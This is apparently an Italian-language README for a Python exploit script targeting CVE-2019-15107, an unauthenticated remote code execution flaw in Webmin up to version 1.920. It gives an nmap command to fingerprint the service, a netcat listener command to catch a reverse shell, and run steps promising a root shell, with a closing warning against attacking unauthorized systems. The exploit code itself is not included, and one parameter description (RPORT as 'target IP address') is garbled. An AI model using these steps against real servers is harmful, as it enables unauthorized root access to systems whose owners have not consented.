CVE-2019–15107 - Webmin RCE non autenticato <=1.920

Questo script Python dovrebbe darti una shell di root su Webmin 1.890

Controlla con nmap:
nmap -sC -sV -p 10000 TARGET_IP

Risultato:
10000/tcp open http MiniServ 1.890 (Webmin httpd)

Come usare questo exploit:

Passo 1: nc -lnvp LPORT

Passo 2: chmod +x exploit.py

./exploit RHOST RPORT LHOST LPORT

RHOST = the target
RPORT = the target IP address (Usually 10000)
LHOST = your kali box
LPORT = your reverse shell port

Passo 3: Ottieni una shell di root!

NON DANNEGGIARE SISTEMI NON AUTORIZZATI!!!